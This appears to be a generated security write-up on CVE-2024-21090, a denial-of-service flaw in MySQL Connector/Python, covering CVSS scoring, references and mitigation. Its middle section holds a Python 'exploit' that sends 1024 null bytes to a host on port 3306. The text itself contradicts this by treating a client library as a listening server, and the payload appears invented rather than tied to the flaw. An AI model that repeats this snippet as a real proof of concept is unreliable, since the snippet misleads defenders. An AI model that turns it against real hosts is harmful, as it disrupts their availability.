CVE-2024-21090 - Vulnerability in MySQL Connectors (Connector/Python) Can Result in Complete Denial of Service (DOS) Attacks

The Common Vulnerabilities and Exposures (CVE) Project has assigned the unique identifier CVE-2024-21090 to a newly discovered vulnerability in the MySQL Connectors product of Oracle MySQL. This vulnerability, specifically found in the Connector/Python component, affects supported versions 8.3. and earlier. The vulnerability is exploitable by an unauthenticated attacker with network access via multiple protocols and may result in unauthorized ability to cause the MySQL Connectors to hang or crash repeatedly, ultimately leading to a complete Denial of Service (DOS) attack.

CVE-2024-21090 Exploit Details

An attacker can exploit this vulnerability by sending specially crafted packets to the affected MySQL Connectors. This can lead to a complete hang or frequent crashes of the MySQL Connectors, effectively making the service unavailable for legitimate users or disrupting the normal operation of the service.

The CVSS 3.1 Base Score for this vulnerability is 7.5, with the Primary Impact being "Availability Impacts". The CVSS Vector associated with this vulnerability is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H), reflecting the fact that the vulnerability is unauthenticated, has a low Attack Complexity, and primarily has impacts on Availability.

Original References

The official Oracle MySQL site (https://www.mysql.com/) provides a comprehensive overview of the Oracle MySQL Connectors product. For a detailed explanation of the CVE-2024-21090 vulnerability, please refer to the official CVE entry on the MITRE website (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21090). Additionally, the official CVSS 3.1 Specification by FIRST (https://www.first.org/cvss/specification-document) offers a complete understanding of the CVSS scoring mechanism.

Code Snippet

To demonstrate the potential impact of this vulnerability, consider the following Python code snippet:

import socket

def exploit(ip, port):
    # Craft the malicious packet
    malicious_packet = b"\x00" * 1024

    # Create a socket and connect to the target
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))

    # Send the malicious packet
    s.sendall(malicious_packet)

    # Close the socket
    s.close()

# Target IP and port
ip = "192.168.1.1"
port = 3306

# Exploit the vulnerability
exploit(ip, port)

This code snippet demonstrates how an attacker might use a simple Python script to exploit the CVE-2024-21090 vulnerability by sending a malicious packet, crafted with a large number of null bytes ('\x00'), to the target MySQL Connectors server.

Mitigation

To mitigate the CVE-2024-21090 vulnerability, it is recommended to update MySQL Connectors to the latest version, 8.3.1 or later, which contains the necessary security patches to prevent exploitation. Additionally, network administrators can limit the attack surface by implementing proper access control lists (ACLs), firewall rules, or intrusion detection/prevention systems (IDS/IPS) to restrict or monitor access to the affected MySQL Connectors servers.

Conclusion

CVE-2024-21090 highlights the importance of ensuring the security of the MySQL Connectors product, as well as continuously monitoring and updating critical software components to address potential vulnerabilities. By carefully implementing recommended mitigation techniques and keeping software up-to-date, organizations can minimize the risks associated with potential security vulnerabilities and maintain a safe operating environment.

Timeline

Published on: 04/16/2024 22:15:29 UTC
Last modified on: 06/04/2024 17:38:12 UTC